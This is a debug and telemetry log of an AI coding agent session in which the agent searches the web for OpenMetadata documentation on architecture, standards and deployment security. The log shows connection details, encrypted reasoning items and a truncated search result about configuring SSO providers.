DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:43.066Z] [INFO] \n[2026-07-12T04:02:43.071Z] [INFO] 2026-07-12T04:02:43.070893Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:43.071Z] [INFO] \n[2026-07-12T04:02:43.105Z] [INFO] 2026-07-12T04:02:43.104816Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:43.105Z] [INFO] \n[2026-07-12T04:02:43.112Z] [INFO] 2026-07-12T04:02:43.111983Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:43.111Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:43.112Z] [INFO] \n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.124538Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:43.124Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.124627Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.173954Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:43.193Z] [INFO] 2026-07-12T04:02:43.174049Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:43 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9227e15c-ef9f-4146-b442-56b238c5f26e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2Fhl9uxYNR3alPH0JrFw6CnSC0nASWB4fzq4U4Gca%2B5lHTuJIprRLymJgQttv6q2YmCv6ckOSBqqEZWaswUDp%2B%2BOJMgJVLI6qx8cVaauddFnuxW3JxrZ71ETmfI6M\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d276b6b5116f0-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:43.193Z] [INFO] \n[2026-07-12T04:02:43.965Z] [INFO] 2026-07-12T04:02:43.963538Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e3f1a08191a2decb6f4d9619d4\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHjK5YBzXjn1otyyjXz0WmzwaFZOBiXTv0xJl42Xh_p6uKBlcNVqOmfdYP-csEWEKhJvlfvg8h564nKsBrl8s0gq8ztBrNwQTcUzsj8Yq9mUAakzzz_zdFRsxkzBG1Bbd7eF8T1RwiWNC-UGyrvaRp3Gx2NEt7MW5rNEmRgPxfE7RcmN5U0D5Glj-CLgLc9CREyuyoyCLIZDkeTJW86yzHtRJTrhSqfpLSwuxdUEmw_d8O1ihyTzTY7D0Gfof3fjqbbvjOeOlgSKfVNwaznNpCsWOaDOANoTl-R9voKY2HSiqFOp2Y0KG7KsOs266iUqQy1oaoLQbBN4ohbRjau_NR8zmF5YbWqUH-fsdc03UGkflTh2ayDlkR20uHoPkx4bCllRnhSe3FB--dQ2r-PZX4dHEpFlWwzBbndgL06NXmp4pGb465TpsQDGaqiLmHkc-Aao2ZPzqihZCxZmzipdFSuk8F-wnjibByE-0TA6ZpQaeCDYhkMAwhkT2IYFaebBZZa07j3trXQiNQN8h50dLJ9tP80eIq6L2N0IJizE0pY3h6gVI8tHM804y6av_ZCCRd-02MrTdmRUwLTxzUIVd7PiVNrfGsb8c7ImLwcH6y5aaVZUiQQA-ydgTEnekvV-Kslslq80wkFLfV4MCEQX1e9WDTtDPsqxLOygU7QSyvIwm0D5susa8j-X56O-iC8Jq-rmDBiBWORLG2KLsgy1iIi_4sQ9ADQ-n78vlibfIgDhOo-AGHmLj1HdrKM6tppMo_Sgu3vYKMQKri96FUYuQdgPermdJB9RGGTEH73eBpYoftEId7gsOrULV4Lk_M8hHdOme5urPE3aqn-LdkcWOAFjca7G0EYmkv3vsU9-ckGdTeg5d9hvIvni4IOclBBnoji0ZIYMNAKLVVhwQzroPvmdA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:43.965Z] [INFO] \n[2026-07-12T04:02:44.681Z] [INFO] 2026-07-12T04:02:44.679688Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e3f1a08191a2decb6f4d9619d4\"), summary: [SummaryText { text: \"**Planning documentation research**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHklkbXks8b_f9qdzV1Yd-EOYznCjbFTzyxpXRZian6ySQxuUr0ZlLa69wGyFxLI923M9IiD3msIT-fuPWiV4Bk3DEXcW7IWSvm7zbSV4ZMR9s2pgXIHH0whHoDC5UcX7Serfmdq0nJ2MBMZYN49b94CAMt3mZMX1egpyZLiRntF3o3rgDy0i70vbwDFxQ9ooBiBPN5r6mVkI0cPQ_EVGaFrAGR3S3of86l5THrRxG9tXBGtaWcAGL8Dth2VZ1HP3RHg6Jhx_zD7mmGJPqiT_23AjcTp9W67WWHTdEe68Ecc-DbVDFhd1ybeiDJ5k8meGz2PMfGhQENUjJn9noiXkDEYDKRQ1FU5pa77d9Lbue7YxOvUOb5EFx8czSeFrw5GjhL7g5An0XeNSZkAnyQKcWJlyaQnhnl9q0BaA55qDWckmpvcFsjfDJwHb1d_mZ-pab38frX5jBa72dgWAPdrg_DrmfqMZmr8BSKEkswQR9uQ4rDORfpi64tY6UpfpgwXM2NzWWYsElElH-AvOVJVHE9qfxrARCjSL5x3EGLFr-IjZMm7v7JBSOxHo3Rq4DzJXDiXSPZikWDkypLTmCehU-eezJLdXhdhVLQuICIKSyBIEvmyQMulmyvoCbn1vt_JaUoenvABE-l7XYcBUnekoJ3rgoov_hXG4xmjRrFqIsJAaApR4gHqX_rA_iZHWq1FdwZqo_2EaKfpipnoanV9k00dyWdYU1LYtw4CP7wovxPQkjUFZmjaa2xDzrz-pVyekT5PTag_20BfwaFQ-OYZwpUwosGP8AyIsOIWmXXor35wHIO2IdfaNw_tOH--QUkqP4PDH6AUv7lrxIRhq0Cv02IhGHID-x_T9o7-H1vNeBxPpbiXFJaW91sfF-FiNuqaImZQspol7_Z5zqh5eFjyOnNiMERjnIVq1QUi-sIv2-Xo306nGRZHxn4PHERb-Z_f-Sj66KMHhk6mvX-M_G3bCp3Fa2MjaggK1AK9g5ayer00j-QU3pd7_A0Wa8TUlQANpmD\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:44.681Z] [INFO] \n[2026-07-12T04:02:44.688Z] [INFO] 2026-07-12T04:02:44.682618Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311e4aa34819194f91adde8befdb1\"), status: Some(\"in_progress\"), call_id: \"call_RCYteFzv8pYUM60KSNXS63kH\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:44.688Z] [INFO] \n[2026-07-12T04:02:44.690Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_14\",\"type\":\"reasoning\",\"text\":\"**Planning documentation research**\"}}\n[2026-07-12T04:02:44.690Z] [INFO] \n[2026-07-12T04:02:46.478Z] [INFO] 2026-07-12T04:02:46.477940Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311e3365c8191824e9a16c1df533b\"\n[2026-07-12T04:02:46.478Z] [INFO] \n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479399Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=23827 output_token_count=135 cached_token_count=19200 reasoning_token_count=17 tool_token_count=23962 ttft_ms=853 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:46.479Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479478Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=23827 output_token_count=135 cached_token_count=19200 reasoning_token_count=17 tool_token_count=23962 ttft_ms=853 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:46.479Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:46.481Z] [INFO] 2026-07-12T04:02:46.479697Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.web__run({search_query:[\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},\n[2026-07-12T04:02:46.481Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}\n[2026-07-12T04:02:46.481Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:02:46.481Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:46.481Z] [INFO] \n[2026-07-12T04:02:46.628Z] [INFO] 2026-07-12T04:02:46.624916Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:46.628Z] [INFO] \n[2026-07-12T04:02:46.644Z] [INFO] 2026-07-12T04:02:46.643659Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:46.644Z] [INFO] \n[2026-07-12T04:02:46.648Z] [INFO] 2026-07-12T04:02:46.646797Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:46.648Z] [INFO] \n[2026-07-12T04:02:46.652Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_15\",\"type\":\"web_search\",\"id\":\"exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1\",\"query\":\"\",\"action\":{\"type\":\"other\"}}}\n[2026-07-12T04:02:46.652Z] [INFO] \n[2026-07-12T04:02:46.660Z] [INFO] 2026-07-12T04:02:46.659585Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:46.660Z] [INFO] \n[2026-07-12T04:02:48.066Z] [INFO] 2026-07-12T04:02:48.052862Z DEBUG endpoint_session.execute_with{http.method=POST api.path=\"alpha/search\"}: codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/alpha/search status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"92297\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8e5a7d97-c7ab-46b7-b4e7-bb770100f15b\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=5g3vgyhyv0KoHxJrE%2FvK6vZxh9iybmQfyUvEYJE6tMhzQDW8bougf5lWyR7Jx4cFu%2B9uZsjFl9zPx1sIcYehZ8mGdMiWL1GcRMn6TrB0zepWh9ums195lhlKSOe0\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d278219aa973b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:48.066Z] [INFO] \n[2026-07-12T04:02:48.150Z] [INFO] 2026-07-12T04:02:48.150180Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:48.150Z] [INFO] \n[2026-07-12T04:02:48.221Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_15\",\"type\":\"web_search\",\"id\":\"exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1\",\"query\":\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs ...\",\"action\":{\"type\":\"search\",\"queries\":[\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\",\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\",\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\",\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"]}}}\n[2026-07-12T04:02:48.221Z] [INFO] \n[2026-07-12T04:02:48.222Z] [INFO] 2026-07-12T04:02:48.152646Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1 arguments={\"search_query\":[{\"q\":\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},{\"q\":\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},{\"q\":\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},{\"q\":\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}],\"response_length\":\"long\"} duration_ms=1588 success=true output=[standalone web search output] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:48.152Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.222Z] [INFO] 2026-07-12T04:02:48.152692Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=webrun call_id=exec-bf630868-3ce5-4ac1-855b-704da6c6ffa1 duration_ms=1588 success=true arguments_length=522 output_length=30 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:48.152Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.222Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.231988Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH arguments=const r = await tools.web__run({search_query:[\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org latest OpenMetadata architecture metadata standards ingestion connectors data quality lineage glossary governance APIs\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:github.com/open-metadata/OpenMetadata architecture CONTRIBUTING security testing repository README\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata metadata standard JSON schema entities type system\"},\n[2026-07-12T04:02:48.233Z] [INFO]  {q:\"site:docs.open-metadata.org OpenMetadata deployment observability security authentication authorization\"}\n[2026-07-12T04:02:48.233Z] [INFO] ],response_length:\"long\"}); text(r);\n[2026-07-12T04:02:48.233Z] [INFO]  duration_ms=1744 success=true output=Script completed\n[2026-07-12T04:02:48.233Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:02:48.233Z] [INFO] Output:\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Enable Security | OpenMetadata Deployment Security - OpenMetadata Documentation (https://docs.open-metadata.org/v1.12.x/deployment/security)\n[2026-07-12T04:02:48.233Z] [INFO] \ue200cite\ue202turn0search0\ue201 [wordlim: 200] Crawled: 2 months ago; # Enable Security | OpenMetadata Deployment Security ... OpenMetadata currently does not support the simultaneous use of multiple authentication mechanisms, such as combining SSO and Basic Authentication.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] # Enable Security | OpenMetadata Deployment Security\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Learn about authentication, encryption, secret management, and provider configurations for securing your platform deployment.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] > ## Documentation Index\n[2026-07-12T04:02:48.233Z] [INFO] > \n[2026-07-12T04:02:48.233Z] [INFO] > Fetch the complete documentation index at: https://docs.open-metadata.org/llms.txt\n[2026-07-12T04:02:48.233Z] [INFO] > \n[2026-07-12T04:02:48.233Z] [INFO] > Use this file to discover all available pages before exploring further.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] # \n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] \u200b\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Enable Security\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] This section provides detailed instructions to secure the REST endpoints of the OpenMetadata Server. OpenMetadata has support for Google SSO, Okta SSO, custom OIDC, Auth0, Azure SSO, Amazon Cognito, and OneLogin as identity providers. Please see the next sections about how to configure them. Enabling Security is only required for your Production installation. If you are testing OpenMetadata, it will be easier and faster to set up without security. To get up and running quickly with OpenMetadata (without security), please follow the Quickstart guide.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] OpenMetadata currently does not support the simultaneous use of multiple authentication mechanisms, such as combining SSO and Basic Authentication.\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Auth0 SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Auth0 SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Azure SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Azure SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Custom OIDC SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure a Custom OIDC SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Google SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Google SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Okta SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Okta SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Amazon Cognito SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure Amazon Cognito SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## OneLogin SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Configure OneLogin SSO to access the UI and APIs\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] ## Keycloak SSO\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.233Z] [INFO] Con\n[2026-07-12T04:02:48.233Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:48.231Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.232038Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH duration_ms=1744 success=true arguments_length=562 output_length=2086 output_line_count=59 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:48.232Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.232186Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH tool_source=\"direct\" execution_started=true 